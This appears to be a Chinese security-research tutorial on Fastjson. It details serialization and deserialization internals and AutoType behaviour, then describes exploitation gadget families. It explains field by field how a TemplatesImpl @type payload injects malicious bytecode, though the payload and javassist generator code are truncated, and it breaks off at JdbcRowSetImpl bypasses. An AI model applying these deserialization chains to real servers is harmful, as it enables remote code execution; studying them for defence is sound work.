Java FastJson
Fastjson 是阿里巴巴开源的一个 Java JSON 处理库,主要功能是:
- 序列化:将 Java 对象(POJO)转换为 JSON 字符串
- 反序列化:将 JSON 字符串还原为 Java 对象
它的核心特点是 性能高、使用方便,尤其适合需要处理大量 JSON 数据或对性能要求较高的场景。
POJO(Plain Old Java Object,普通的 Java 对象)指的是一种不依赖特定框架、不继承或实现特定库的类,通常只包含属性字段和对应的 getter/setter 方法。
设计原则:
- 不继承特定类(如不强制继承框架基类)
- 不实现特定接口(除非是
Serializable这类不影响业务逻辑的接口)- 主要作用是作为数据载体,用于封装和传递数据
在 Fastjson 中,POJO 是最常见的序列化与反序列化对象类型。
FastJson 的 Maven 坐标如下:
1 | <dependency> |
FastJson 的整体涉及架构如下:
classDiagram
direction LR
%% ===== 顶层门面 =====
class JSON {
+parse(String) Object
+parseObject(String) JSONObject
+parseObject(String, Type) Object
+parseObject(String, Class~T~) T
+toJSONString(Object) String
}
note for JSON "门面入口
parseObject(String) 会先调 parse(...)(可能触发 @type 的构造/setter 等副作用)
随后 toJSON 成 JSONObject 返回"
%% ===== 解析器 =====
class DefaultJSONParser {
-config: ParserConfig
-lexer: JSONLexer
-context: ParseContext
-symbolTable: SymbolTable
+DefaultJSONParser(String, ParserConfig)
+parse() Object
+parseObject(Type) Object
+accept(int) void
}
note for DefaultJSONParser "持有 ParserConfig/JSONLexer/SymbolTable
负责驱动词法器与分派 ObjectDeserializer"
%% ===== 词法层 =====
class JSONLexer {
<>
+token: int
+nextToken() void
+stringVal() String
+intValue() int
+scanSymbol(SymbolTable) String
+config(Feature, boolean) void
}
note for JSONLexer "抽象词法接口;scanSymbol 会借助 SymbolTable 做字段名驻留"
class JSONLexerBase {
+nextToken() void
+scanSymbol(SymbolTable) String
+scanString() void
+config(Feature, boolean) void
}
JSONLexerBase ..|> JSONLexer
note for JSONLexerBase "通用词法实现;支持 Feature 开关(单引号/多余逗号/ISO8601 等)
byte[] 走 bytesValue(Base64) 路径"
class JSONScanner {
-text: String
}
JSONScanner --|> JSONLexerBase
note for JSONScanner "基于 String 的扫描器"
class JSONReaderScanner {
-reader: java.io.Reader
-buf: char[]
}
JSONReaderScanner --|> JSONLexerBase
note for JSONReaderScanner "基于 Reader 的扫描器"
class Feature {
<>
+AllowSingleQuotes
+AllowArbitraryCommas
+AllowUnQuotedFieldNames
+IgnoreNotMatch
+SupportNonPublicField
+AllowISO8601DateFormat
+UseBigDecimal
+DisableFieldSmartMatch
+...
}
JSONLexerBase --> Feature : config()
note for Feature "解析特性枚举;按需启停宽松语法/数值/匹配行为等"
%% ===== 符号表 =====
class SymbolTable {
-symbols: String[]
-indexMask: int
+addSymbol(char[], int, int) String
}
JSONLexer --> SymbolTable : scanSymbol()
note for SymbolTable "字段名驻留/复用(减少字符串分配)"
%% ===== 反序列化策略接口与实现 =====
class ObjectDeserializer {
<>
+deserialze~T~(DefaultJSONParser, Type, Object) T
}
note for ObjectDeserializer "策略接口;注意库内方法名是 deserialze(少个 i)
返回泛型 T"
class JavaBeanDeserializer {
-fieldDeserializers: FieldDeserializer[]
-sortedFieldDeserializers: FieldDeserializer[]
-beanInfo: JavaBeanInfo
-clazz: Class~?~
+createInstance(DefaultJSONParser, Type) Object
+parseField(DefaultJSONParser, String, Object) void
+deserialze(DefaultJSONParser, Type, Object) Object
}
ObjectDeserializer <|.. JavaBeanDeserializer
note for JavaBeanDeserializer "JavaBean 反序列化器:
赋值策略:1 setter 优先;2 无 setter 且 getter 返回可变容器→就地填充;3 开启 SupportNonPublicField→直写字段
字段名匹配:精确→别名→布尔 is 前缀→去下划线/连字符的宽松匹配
byte[] 自动 Base64 解码"
class FieldDeserializer {
<>
+parseField(DefaultJSONParser, Object, Type, java.util.Map) void
}
JavaBeanDeserializer --> FieldDeserializer : uses *
note for FieldDeserializer "负责单字段的读取与写入(调用 setter / 直写字段)"
class MapDeserializer {
<>
+instance: MapDeserializer
+deserialze(DefaultJSONParser, Type, Object) Object
+createMap(Type) java.util.Map
}
ObjectDeserializer <|.. MapDeserializer
note for MapDeserializer "Map 反序列化;常返回 LinkedHashMap 等实现"
class CollectionDeserializer {
+deserialze(DefaultJSONParser, Type, Object) Object
+createCollection(Type) java.util.Collection
}
ObjectDeserializer <|.. CollectionDeserializer
note for CollectionDeserializer "集合反序列化;常返回 ArrayList 等实现"
%% ===== 配置/工厂 =====
class ParserConfig {
+global: ParserConfig
-deserializers: IdentityHashMap~Type, ObjectDeserializer~
-asmFactory: ASMDeserializerFactory
-safeMode: boolean
+getDeserializer(Type) ObjectDeserializer
+createJavaBeanDeserializer(Class, Type) ObjectDeserializer
+createFieldDeserializer(ParserConfig, Class, FieldInfo) FieldDeserializer
+checkAutoType(String, Class, int) Class
}
ParserConfig o--> ObjectDeserializer : registry/cache
ParserConfig --> JavaBeanDeserializer : create
ParserConfig --> FieldDeserializer : create
note for ParserConfig "缓存与工厂:getDeserializer / create*
安全:checkAutoType 审核 @type(白/黑名单、safeMode)"
%% ===== 关系(控制流标签) =====
JSON --> DefaultJSONParser : creates/uses
DefaultJSONParser --> JSONLexer : uses
DefaultJSONParser --> ParserConfig : uses
DefaultJSONParser --> ObjectDeserializer : dispatch
FastJson 特性
POJO -> JSON(序列化)
toJSONString
FastJson 序列化主要是依靠 com.alibaba.fastjson.JSON#toJSONString 函数进行的,该函主要有下面两种重载:
1 | /** |
序列化行为
其中第个重载函数比第一个函数多了一个 features 参数,该参数类型是 SerializerFeature 枚举。toJSONString 的序列化行为由该枚举控制。
如果用户未显式传参,则会使用 DEFAULT_GENERATE_FEATURE,在 Fastjson 初始化时默认开启了以下四个特性:
1 | // 静态初始化代码块,在类加载时执行一次 |
另外常见的 SerializerFeature 特性还有:
PrettyFormat:美化输出,带缩进换行。WriteMapNullValue:输出值为 null 的字段。WriteNullStringAsEmpty/WriteNullListAsEmpty:null 字符串 / 集合以""或[]输出。DisableCircularReferenceDetect:关闭循环引用检测,提升性能。- **
WriteClassName**:序列化时输出@type字段,包含类的全限定名。
其中 WriteClassName 在安全研究中非常重要。该特性会让 toJSONString 函数在序列化时输出 @type 字段(包含完整类名),用于保留运行时类型信息,方便反序列化时还原类属性。
1 | Person p = new Person("Lisa", 20); |
属性过滤规则
POJO 在序列化时,并不是所有属性都会被序列化到 JSON 字符串中,例如下面这几种情境的中的属性就不会被序列化。
static字段:不会序列化。transient字段:默认不会序列化(除非关闭SkipTransientField特性)。@JSONField(serialize=false):强制忽略。@JSONType(ignores=...):类级别忽略。
属性获取规则
Fastjson 在序列化 POJO 时不会调用 setter;它会优先调用 getter/isXxx 取值,没有 getter 时会退回到“直接读字段值”(field access):
优先调用
getter/isXxx函数获取属性:- 若有
getXxx()(必须是public类型非静态方法,否则不调用)则优先调用getter取值。 - 否则若有
isXxx()则调用isXxx(必须是public类型非静态方法且返回值必须为boolean类型,否则不调用)取值,不过此时取到的值是boolean类型,可能与原类型不同。
且属性类型以及过滤原则与
getter/isXxx函数的返回类型有关,例如:- 一个属性是其他任意类型,但是仅有对应的
isXxx函数,则序列化结果中该属性类型与isXxx函数返回值一致,即boolean类型。 - 一个属性是
static类型,但是有一个非static的getter/isXxx函数,则以函数为准,可以序列化该属性。
- 若有
否则如果字段是
public字段且字段类型可以被反序列化则直接读取该字段。
属性转换规则
Fastjson 在序列化时对一些特殊类型有内置规则,其中最重要的是 **byte[]**:
- 序列化时:
byte[]会被自动 Base64 编码,转为字符串存入 JSON; - 反序列化时:遇到
byte[]字段会调用JSONScanner#bytesValue自动进行 Base64 解码,还原为字节数组。
另外其他类型为了方面做序列化/反序列化,同样也会做一些转换。
- **
char[]**:按字符串输出 - 日期/时间:默认时间戳;可用
@JSONField(format="yyyy-MM-dd HH:mm:ss")或WriteDateUseDateFormat指定格式 - 枚举:默认名称(
WriteEnumUsingName),也可切换WriteEnumUsingToString/序号 - 循环引用:默认检测并写
$ref;可用DisableCircularReferenceDetect关闭(需确保无自引用)
序列化过程
0) 入口与初始化
- 典型入口:
JSON.toJSONString(obj, SerializerFeature... features) - 创建 **
SerializeWriter**(高性能char[]buffer,按特性位设置转义、单双引号、null 输出策略、是否禁用循环检测等)。 - 构造 **
JSONSerializer**(持有SerializeWriter与全局SerializeConfig;后者维护 “Java 类型 →ObjectSerializer” 的写入器映射)。 - 调用
serializer.write(obj)进入主序列化分发。
1) 分发(按运行时类型选择 ObjectSerializer)
null→ 写入"null"。String/Number/Boolean/Date/Calendar/Enum/数组/集合/Map/JSONAware/...→ 各有专用ObjectSerializer(StringSerializer/NumberSerializers/DateSerializer/EnumSerializer/ArraySerializer/CollectionSerializer/MapSerializer/...)。- 其它普通 POJO → **
JavaBeanSerializer**(如满足条件会用 ASM 生成的ASMSerializer_*以优化性能)。
2) JavaBean 路径(重点)
当 obj 走到 JavaBeanSerializer.write(...) 或 ASM 版本时,会发生:
- 循环引用检测
- 默认启用。若对象已在引用表里,输出
{"$ref":"..."},否则登记后继续。可通过SerializerFeature.DisableCircularReferenceDetect关闭以提速。
- 默认启用。若对象已在引用表里,输出
- 是否输出
@type(类名)- 若启用
SerializerFeature.WriteClassName且类型非 final/存在多态需要,先写{"@type":"全限定类名", ...}。
- 若启用
- 确定字段顺序
- 依据
@JSONType(orders=...)、SerializerFeature.SortField,以及JavaBeanInfo.sortedGetters的内省结果。JavaBeanInfo#build会收集“**符合 JavaBean 规范的getXxx()/isXxx()**”到FieldInfo[],作为即将输出的“属性列表”。
- 依据
- 前置过滤器(Before/PropertyPre)
PropertyPreFilter用来是否参与序列化;BeforeFilter可先写入一些扩展字段。顺序:pre-filter → before-filter。
- 逐个处理属性:
- 取属性名与
FieldInfo,然后 取值:- 若
FieldInfo.method != null→Method.invoke(obj)调用 getter;否则直接读field值。
- 若
- 过滤与变换:
PropertyFilter(是否保留)、NameFilter(改名)、ValueFilter/ContextValueFilter(改值)、LabelFilter(按标签筛选)。
- null、缺省值策略:
WriteMapNullValue(输出 null 字段)、WriteNullStringAsEmpty、WriteNullNumberAsZero、NotWriteDefaultValue、NullAsDefaultValue(不同行为,版本略有差异)。
- 递归写入:对属性值再走一遍“分发 → 写出”。
- 取属性名与
- 后置过滤器(AfterFilter)
- 可以在所有属性之后再追加一些派生字段。
- BeanToArray(可选)
- 若启用
SerializerFeature.BeanToArray或@JSONType(serialzeFeatures=BeanToArray),这个 JavaBean 将按 getter 顺序以数组形式输出,而非对象。
- 若启用
3) Map / Collection / Array / 特殊类型
- Map:遍历
entrySet;key 默认是String最稳。若 key 不是字符串,可开启WriteNonStringKeyAsString强制转字符串,否则可能产生{1:"x"}这类非标准 JSON(浏览器端会报错)。相关讨论/用例在官方 issue 中可见。 - Collection/数组:依次写每个元素。
- Date/时间:
WriteDateUseDateFormat或UseISO8601DateFormat会影响输出格式。
4) 特性开关(常见)
- IgnoreNonFieldGetter:忽略没有对应字段的 getter(减少误调)。也可用
@JSONField(serialize=false)精确关闭某个 getter。 - DisableCircularReferenceDetect:提速,牺牲循环引用安全。
- BrowserCompatible / BrowserSecure:浏览器兼容/安全输出。
JSON -> POJO(反序列化)
Fastjson 提供了多个入口函数用于 JSON 字符串反序列化为对象,常见有 parse 和 parseObject。
parse:为了灵活性,可以解析一切 JSON,但返回类型不确定,还可能有安全风险。parseObject:为了类型安全,只解析成指定类,结果可控,适合大多数业务场景。
属性赋值特性
整体流程
建“属性索引表”(Class → FieldInfo[])
Fastjson 在反序列化前会扫描目标类,识别可写入的属性,整理为一组
FieldInfo。核心入口是com.alibaba.fastjson.util.JavaBeanInfo.build(...),它会综合setter 方法、public 字段、以及部分 getter(容器只读)来建立索引,并考虑注解与命名策略。要点:优先收集 setter:
挑选规则:
- **非
static**; - 只接收 1 个参数;
- 返回
void或返回声明类本身(支持链式 / Fluent setter)。 - 若方法或字段上有
@JSONField(deserialize=false),则该属性不参与反序列化;若@JSONField(name=...)非空,则直接采用该 name 作为属性名。
- **非
从方法名推导属性名:
设方法名为
set...,取第 4 个字符c3 = methodName.charAt(3):**常规
setXxx**,若c3是大写(或c3 > 512,兼容非 ASCII 命名)则:TypeUtils.compatibleWithJavaBean为真 →propertyName = decapitalize(methodName.substring(3));- 否则 →
propertyName = toLower(methodName.charAt(3)) + methodName.substring(4)。
**下划线风格
set_abc**:直接 丢弃下划线,取propertyName = methodName.substring(4),也就是 **"abc"**。注意:这里没有“自动回退去找
"_abc"字段”的步骤。如果类里字段叫"_abc"而不是"abc",field可能为null,但属性仍可通过 setter 正常写入;如需让 JSON 键名也叫"_abc",请用@JSONField(name="_abc")显式指定。setfXxx特例:属性名取methodName.substring(3)(即fXxx)。setXURL(第 5 位是大写):属性名=decapitalize(methodName.substring(3))。否则:不认为是合法 setter,跳过。
布尔字段:若按上述推导没找到字段,且参数类型是
boolean,还会额外尝试isXxx命名的字段(如属性名enabled→ 字段isEnabled)。字段 / 注解融合:若找到了字段,再读取字段上的
@JSONField;当字段注解里name非空时,以字段注解的name覆盖属性名,并记录序列化/反序列化特性位。
补充 public 实例字段:将非
static的public字段加入;若是final字段,仅当是容器/原子类(Map/Collection/Atomic*)才保留(避免对不可变标量写入)。同样会应用字段上的@JSONField与命名策略。“只读容器 getter”也会被当成可写属性记录:扫描 getter:当方法名
getXxx、无参、返回类型是Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong,且没有对应 setter 时,也会登记为一个属性项(read‑only property)。反序列化时走“取现有实例并就地填充”的路径(不替换引用)。属性名默认由getPropertyNameByMethodName("getXxx")推导,若方法上@JSONField(name=...)非空则用注解名。
这一步的产物是一组
FieldInfo,每条记录上挂好了:属性名、setter、对应字段、只读容器型 getter、注解元信息等。键名匹配(JSON key → 属性名)
当解析到 JSON 的每个键时,
JavaBeanDeserializer会把该键匹配到某个FieldInfo,匹配策略包含精确命中与智能匹配(smartMatch)两层:- 直接命中(精确):先按
fieldNameHash直接找。 - smartMatch(默认开启):若没命中且未启用
Feature.DisableFieldSmartMatch,会做一轮宽松归一化匹配:- 大小写不敏感(
fnv1a_64_lower); - 忽略分隔符再比较(
fnv1a_64_extract,会**去掉下划线_和中划线-**并转小写); - 布尔 is 前缀:若 JSON key 以
is开头,也会尝试去掉is再匹配布尔属性; - 别名:最后看
@JSONField(alternateNames=...)是否包含该 key。
- 大小写不敏感(
- 直接命中(精确):先按
选择赋值入口(属性名 → 实际调用路径)
匹配到属性后,Fastjson 按优先级决定如何把值“写进去”:
- 优先走 setter:
- JSON 是字面量(数/串/布尔)→ 做类型转换后 **
setXxx(converted)**; - JSON 是对象/数组 → 先把该段 JSON 递归反序列化成参数类型
T的新实例,再setXxx(new T(...)); - 容器参数(
Map/Collection/Properties等):同理——新建目标实现并填充,再一次性setXxx(newValue);
- JSON 是字面量(数/串/布尔)→ 做类型转换后 **
- 无 setter,但属性记录的是“容器 getter” → 调用 getter 拿已有实例并“就地填充”(
put/add等),不替换引用;若 getter 返回null,通常就填不进去(取决于具体 getter 的实现是否会自行初始化非空)。这一行为是JavaBeanInfo.build把“容器 getter”登记为属性项后,在反序列化分支里的特性。 - 否则,在开启
Feature.SupportNonPublicField时 → 直接写字段(setAccessible(true)),对对象/数组同样是先 new “字段声明类型”的新实例并递归填充后整体替换。
- 优先走 setter:
访问器规范
Fastjson 在解析 POJO 时,会扫描类中的方法,识别哪些方法是 getter / setter,并据此推导出属性名。这部分规则位于 com.alibaba.fastjson.util.JavaBeanInfo#build 方法,具体如下:
Setter 方法(用于反序列化赋值)
非静态实例方法
方法名长度 ≥ 4
方法名以
set开头第 4 个字符必须是大写字母
setName(String name)✅setname(String name)❌(不符合规范)
参数个数必须是 1
返回值类型可以是
void或者链式调用(返回 this 也行)注意
返回父类/接口类型的链式不视为 setter
属性名的推导:去掉前缀
set,把第 4 个字符转小写,即得到属性名。setName(String)→ 属性namesetURL(String)→ 属性URL(第二个字母大写时,保持全大写缩写不变)
Getter 方法(用于序列化或“容器就地填充”)
- 非静态实例方法
- 方法名长度 ≥ 4
- 方法名以
get开头 - 第 4 个字符必须是大写字母
getName()✅getname()❌
- 参数个数必须是 0(不能有参数)
- 返回值类型不限(可为任何对象类型)
- 属性名的推导:去掉
get前缀,首字母小写。getName()→ 属性namegetURL()→ 属性URL
Boolean Getter 方法(特殊规则)
必须是非静态实例方法
方法名以
is开头第 3 个字符必须是大写字母
isAdmin()✅isadmin()❌
参数个数必须是 0
返回值类型必须是
boolean或Boolean属性名的推导:去掉前缀
is,首字母小写。isAdmin()→ 属性adminisVIP()→VIP(保留缩写大写)
属性名称匹配
FastJson 在反序列化的时候如果指定了目标类,则需要将 JSON 中的键名与目标类的属性名相匹配。这个匹配过程相当于访问器函数的定义要求要宽松的多,如果不到访问器中的方法则会调用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 进行模糊匹配。
匹配的规则为:
精确匹配 → key 必须和字段名一致。
大小写不敏感匹配 → “Name” 可以匹配字段
name。布尔 is 前缀 → JSON
"isAdmin"→ Java 字段admin(boolean 类型)。要求属性类型是
boolean或Boolean去掉
"is"前缀后,再大小写不敏感匹配属性名
去掉下划线/中划线 →
"user_name"或"user-name"→userName。会生成一个新的 key2 = 去掉
_/-的版本并尝试直接查找 key2如果还没有,再对比大小写不敏感
alternateName 别名匹配 → @JSONField 配置的备用名字。
- 如果前面都没命中,检查每个
FieldInfo是否有@JSONField(alternateNames=...)。 - 如果 JSON key 在备用别名列表里,则匹配成功。
- 如果前面都没命中,检查每个
属性赋值策略
在反序列化的过程中需要对属性进行赋值,在此过程中会调用一些类的 getter、setter 以及无参构造方法。在不同的情景下,这些方法调用顺序与是否调用都不太相同:
① 有 setter 方法
- 基本规则:找到
setXxx(T)就优先调用 setter。 - 传入什么值取决于 JSON 里这个键对应的“值的形态”和
T的类型:- 字面量(字符串、数字、布尔等)→ 直接做类型转换后传给 setter(不会去 new 任何“子对象”)。
- 对象/数组(
{}/[])→ Fastjson 会先把该 JSON 递归反序列化成T类型的一个新实例(通常通过T的无参构造函数+ 递归填充),再把这个实例作为参数传给 setter。
- 容器参数(
T为Map/Collection/Properties等):同上规则——先 new 一个新的目标实现实例(Map常用LinkedHashMap,List常用ArrayList,Properties直接 new),填入 JSON 内容,再一次性setXxx(newValue)。 - 副作用点:setter 里的自定义逻辑会执行;被构造的
T(如果是自定义类)在反序列化其内部字段/属性时也会触发它们的构造/初始化逻辑。
② 无 setter,但有 getter,且 getter 返回容器类型
- 触发条件:匹配到属性
xxx,类里没有setXxx(...),但有getXxx(),且返回类型是可变容器(Map/Collection/Properties等)。 - 行为:Fastjson 会调用 getter,拿到现有实例(不会去 new 新对象),然后把 JSON 的
{}/[]直接填进这个实例(put/add)。 - 关键差异(和①相比):
- 不替换引用,只是在原对象上“就地填充”。
- getter 会被调用,所以getter 内的副作用会执行(
TemplatesImpl#getOutputProperties()就在这里触发链路)。
- **如果 getter 返回
null**:Fastjson 不会自动 new 一个容器来“放回去”;这时就填不进去(具体走向与版本/实现细节相关)。
③ 无 setter,启用 SupportNonPublicField(走“字段赋值”)
- 行为:Fastjson 直接通过反射给字段本身赋值(
setAccessible(true)),不会调用 getter 或 setter。 - 赋什么值同样取决于 JSON 值形态与字段类型:
- 字面量 → 直接转换后写入字段。
- 对象/数组 → Fastjson 会new 一个“字段声明类型”的新实例(用其无参构造函数)并递归填充,然后把这个新实例赋值给字段(替换原引用)。
- 与②的对比:
- ② 是复用 getter 返回的现有容器并就地填充(不改引用);
- ③ 是创建新实例并直接写字段(替换引用)。
- 容器字段:同样遵循“对象/数组 → new 新实例再填充再赋值”的规则;不会先去读 getter,更不会“拿出来再放回去”。
在具体给属性赋值的时候也要参考属性的类型。
| 修饰符 | setter 路径 | getter-容器填充 | 字段直写(SupportNonPublicField) | 备注 |
|---|---|---|---|---|
| public | ✔️ 正常 | ✔️ 正常 | ✔️ 无需额外特性也可(public 字段可见) | —— |
| private / protected / 包可见 | ✔️ 只要 setter 是可见实例方法,就按规则调用 | ✔️ 若有返回容器的 getter | ✔️ 需开启 SupportNonPublicField 才能直接写 |
官方特性专为“非公有字段可写”提供支持。 |
| static 字段 | ➖ 不能把 static setXxx 当属性入口;实例 setter 若内部去改静态字段,当然会生效 |
➖ 与属性无关 | ❌ **扫描字段时直接跳过 static**,不会当作可写属性 |
源码对字段扫描有 Modifier.isStatic(...) 的显式过滤。 |
| final | ✔️ setter 能改它“背后的状态”(取决于你的实现) | ✔️(容器本身可被填充;但不会替换 final 引用) |
⚠️ 直接改 final 字段的可行性很差;在现代 JDK 上通过反射写 final 往往失败或不可靠 |
不要指望通过反射稳定修改 final 值;JDK 对此有严格限制。 |
| transient | ✔️ 不影响 setter 的调用(transient 只修饰字段,不约束方法调用) |
✔️ 同上 | ⚠️ 字段扫描会把 transient 标记成 fieldTransient 并可被跳过(序列化侧明确;字段基路径通常也不把它当可写属性) |
更稳妥的控制建议用 @JSONField(deserialize = false/true) 显式声明。 |
| volatile | ✔️ 与普通字段无差别 | ✔️ | ✔️ | Fastjson 不对 volatile 做特殊处理。 |
parse
parse 函数有两种重载,函数声明如下:
1 | /** |
返回结果类型
com.alibaba.fastjson.JSON#parse 会解析 text,并根据 JSON 文本内容动态决定返回对象的类型:
如果 JSON 中包含
@type字段,Fastjson 会尝试根据该类名进行实例化并填充属性。如果没有
@type,返回结果可能是JSONObject或JSONArray。{...}→com.alibaba.fastjson.JSONObject[...]→com.alibaba.fastjson.JSONArray
另外一些基础类型也可以直接转换:
- 字符串字面量 →
java.lang.String(例如"\"hello\""→"hello") - 布尔字面量 →
java.lang.Boolean(例如"true"→true) - 数值字面量 →
java.lang.Integer/java.lang.Long/java.math.BigDecimal等(按大小/小数位自适应,可配Feature.UseBigDecimal) null→null
- 字符串字面量 →
反序列化行为
与序列化类似,反序列化同样有一个描述行为的枚举 Feature。通常默认情况下为 DEFAULT_PARSER_FEATURE:
1 | // 静态初始化代码块,在类加载时执行一次 |
另外在安全研究中,Feature 有一个很重要的特性 SupportNonPublicField。默认情况下,Fastjson 在反序列化时只会给 public 字段 或通过 setter 方法 赋值。
当启用 SupportNonPublicField 后,Fastjson 会通过反射直接写入 private / protected 字段,即便没有对应的 setter。
反序列化过程
0) 入口与初始化
JSON.parse(text)→ 创建DefaultJSONParser(text, ParserConfig.global, features)。- 构造
JSONLexer(JSONScanner/JSONReaderScanner),按Feature配置宽松语法、数值策略等(如AllowSingleQuotes、UseBigDecimal、IgnoreNotMatch…)。 - 调用
DefaultJSONParser.parse()进入主解析。
1) 顶层 token 分派
null→ 返回nulltrue/false→Boolean- 整数 → 依据大小:
Integer/Long/(溢出)BigInteger - 小数 →
Double,若启用UseBigDecimal则BigDecimal - 字符串 →
String;若启用AllowISO8601DateFormat且命中 ISO‑8601,顶层可直接返Date - “{” 对象 → 对象分支(见 §2)
- “[” 数组 → 数组分支(见 §3)
2) 对象分支(“{}”):有两条路径
2.1 特殊键与类型识别(极早期处理)
- 读取第一个字段名;若为
@type(或自定义 typeKey) 且未禁用特殊键检测:- 调
ParserConfig.checkAutoType(...)审核白/黑名单 /safeMode; - 放行:得到目标
Class→ParserConfig.getDeserializer(type)→ 进入强类型反序列化(§2.2)。 - 不放行:把
@type当作普通字段处理(落到 §2.3)。
- 调
- 若第一个键为
"$ref":按 JSONPath 引用规则回填对象($根、@父、..向上等)
备注:
@type一般只在对象首个字段时被识别为“类型标识”。
2.2 强类型反序列化(AutoType 放行时)
- 取得
ObjectDeserializer(JavaBean→JavaBeanDeserializer,Map/Collection/数组/枚举等有各自实现)。 deserialze(parser, type, fieldName)期间:- 实例化:调用无参构造/工厂路径。
- 属性赋值策略:
- 有
setter→ 优先调用setXxx(...); - 无
setter且getter返回可变容器(Map/Collection/Atomic*) → 调getter取现有实例并就地填充; - 启用
SupportNonPublicField→ 直接反射写字段(对象/数组会先构建声明类型实例再整体替换)。
- 有
- 字段名匹配(smartMatch):精确 →
@JSONField别名 → 布尔isXxx↔xxx→ 去下划线/连字符的宽松匹配。 - 特殊类型:
byte[]值按 Base64 自动解码;日期可识别 ISO‑8601。
- 返回:目标 JavaBean/Map/Collection/数组/枚举 实例。
2.3 非强类型(未用/未放行 @type)→ Map 容器
- 创建
JSONObject(背后通常是LinkedHashMap)。 - 逐字段:名称匹配(含 smartMatch/别名/布尔前缀),递归解析值并
put进 Map。 - 关于“对象当 key”:为了把 key 归一为字符串,会在
parseObject路径上对 key 做一次JSON.toJSONString(或toString()),从而在解析阶段触发了一次“序列化”(这正是“对象当 Key”技巧能在解析期触发 getter 的原因)。 - 返回:
JSONObject。
3) 数组分支(“[]”)
- 创建
JSONArray;逐元素递归parse()。 - 元素可为字面量、
JSONObject、JSONArray,或内部带@type的强类型元素(若放行则该元素返回 JavaBean 等)。 - 返回:
JSONArray。
4) 结果收敛
- 命中强类型(
@type放行) → 返回具体实例(JavaBean/Map/…)。 - 否则 → 返回
JSONObject/JSONArray/ 基础字面量(含可能的Date)。
parseObject
parseObject 有下面两种重载:
1 | /** |
与 parse 不同,**parseObject 系列方法默认不会信任 JSON 字符串中的 @type 字段**:
- **
parse(String)**:如果 JSON 包含@type,且 AutoType 策略放行,会直接实例化为指定的类。 - **
parseObject(String)/parseObject(String, Class<T>):忽略@type**,结果固定为JSONObject/JSONArray或者显式指定的类型。
反序列化过程
parseObject(String text) 本质上是对 parse 的一层封装:
1 | public static JSONObject parseObject(String text, Feature... features) { |
如果结果已经是
JSONObject,直接返回。如果结果不是
JSONObject(例如是 JavaBean、数组、原始值),则调用JSON.toJSON(obj)转换为JSONObject。
提示
这就是为什么我们会观察到 parseObject 虽然会忽略 @type 字段,但是会调用到 @type 指定的类的 getter 和 setter 方法。
- setter 方法是
parseObject调用parse函数按照@type字段初始化类的时候调用的。 - getter 方法是
JSON.toJSON将parse返回的对象转换为JSONObject的时候从对象获取属性时调用的。
具体来说 parseObject(String text) 的反序列化过程为:
调用
parse(text)(通用解析入口)- 如果 JSON 是对象/数组/字面量 → 返回
JSONObject/JSONArray/String|Boolean|Number|null。 - 如果 JSON 含有
@type且 AutoType 策略放行 →parse会先实例化该类并进行 JavaBean 赋值:- 调用无参构造器(你看到的
Non-Arg Constructor打印就发生在这里)。 - 按字段名匹配 setter(或
Feature.SupportNonPublicField直写private字段)给属性赋值(你看到的setAge/setName就发生在这里)。 - 特殊类型(如
byte[])会在此时完成 Base64 解码(JSONScanner#bytesValue)。 - 字段名匹配支持 smartMatch(忽略
_/-)。
- 调用无参构造器(你看到的
- 如果 JSON 是对象/数组/字面量 → 返回
结果是
JSONObject就直接返回- 这种情况下,没有实例化 JavaBean,不会有构造/ setter 的副作用。
若结果不是
JSONObject→ 调用JSON.toJSON(obj)做转换如果
obj是 JavaBean(步骤1已实例化):这是一个“序列化侧”的转换过程:toJSON会用 JavaBean 的 getter/isXxx 或直接读字段 取值,组装成一个新的JSONObject。如果
obj是JSONArray或字面量通常会直接报错,例如:com.alibaba.fastjson.JSONArray cannot be cast to com.alibaba.fastjson.JSONObject
parseObject(String text, Class<T> clazz) 则是直接使用传入的 clazz 来实例化目标对象,并且同样会忽略 JSON 中的 @type 字段。
parseObject(String text, Class<T> clazz) 与前面的 parseObject(String text) 过程不太一样,不过在反序列化过程中可以调用 clazz 指定目标类的 getter 方法:
- **忽略
@type**,严格按clazz进行反序列化。 - 实例化:通过无参构造器
new clazz()。 - 赋值:和前面是属性赋值策略一致。
- 返回:强类型的
T实例。@type被忽略。
FastJson 利用链
TemplatesImpl 家族(私有字段直写注入字节码,免出网)
JNDI 家族(各种“把字符串当 JNDI 名字去查”的类,通常需要出网)
BCEL 家族(
BasicDataSource/UnpooledDataSource/...+$$BCEL$$,免出网但受 JDK/版本限制)AutoCloseable / 流式 I/O 家族(不依赖外连:本地文件清空/写入/拼装压缩流等副作用)
TemplatesImpl
Fastjson ≤ 1.2.24 时 AutoType 默认开;并且要启用
Feature.SupportNonPublicField才能直写私有字段。SupportNonPublicField自 1.2.22 起提供。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 有加载任意字节码的利用链:
1 | getOutputProperties() |
因此我们可以构造如下 payload:
1 | { |
其中各字段含义如下:
@type→ 目标类TemplatesImpl,也就是我们需要构造并调用函数触发任意类加载的类。AutoType 必须可用(≤ 1.2.24 默认开启;≥ 1.2.25 默认关闭并有黑/白名单检查,需要“开启/白名单/绕过”)。这是 fastjson 的通用门槛,和
TemplatesImpl本身无关。_bytecodes: byte[][]→ Base64 字符串数组,Fastjson 会自动把每个字符串解成byte[],后续作为恶意类字节码加载。字节码对应的恶意类要求至少包含一个主类,它的父类必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。defineTransletClasses()会逐个defineClass,并通过“父类是否为AbstractTranslet”来认定主类并记录_transletIndex。在
getTransletInstance()→defineTransletClasses()→TransletClassLoader.defineClass(byte[])处被加载;随后newInstance()→ 执行<clinit>与构造器。_name: String→ 非空“标识名”;必须有,后面defineTransletClasses()要用。必须非空,否则
getTransletInstance()直接return null,链路停止。填任意非空字符串即可(也用于异常信息中的名字)。_tfactory: TransformerFactoryImpl→{}表示“构造一个默认实例”,这样会调用TransformerFactoryImpl的无参构造函数实例化一个TransformerFactoryImpl对象填在该属性上。在高版本 GDK 中,
defineTransletClasses()里要用它提供ExternalExtensionsMap来构造TransletClassLoader;**不能为null**。outputProperties: Properties→这是 getter 对应的“属性名”。TemplatesImpl#getOutputProperties()返回Properties(容器类型),满足 fastjson 的“getter‑only 容器就地填充”条件;所以给它一个{},fastjson 会调用getOutputProperties()取得实例然后往里填,这一步就把整条类加载链触发了。
我们可以通过下面这段代码生成 payload:
1 | import javassist.ClassPool; |
JdbcRowSetImpl
≤ 1.2.24:AutoType 开,直接打。
1.2.25−1.2.47:可用“两步/缓存”绕过(
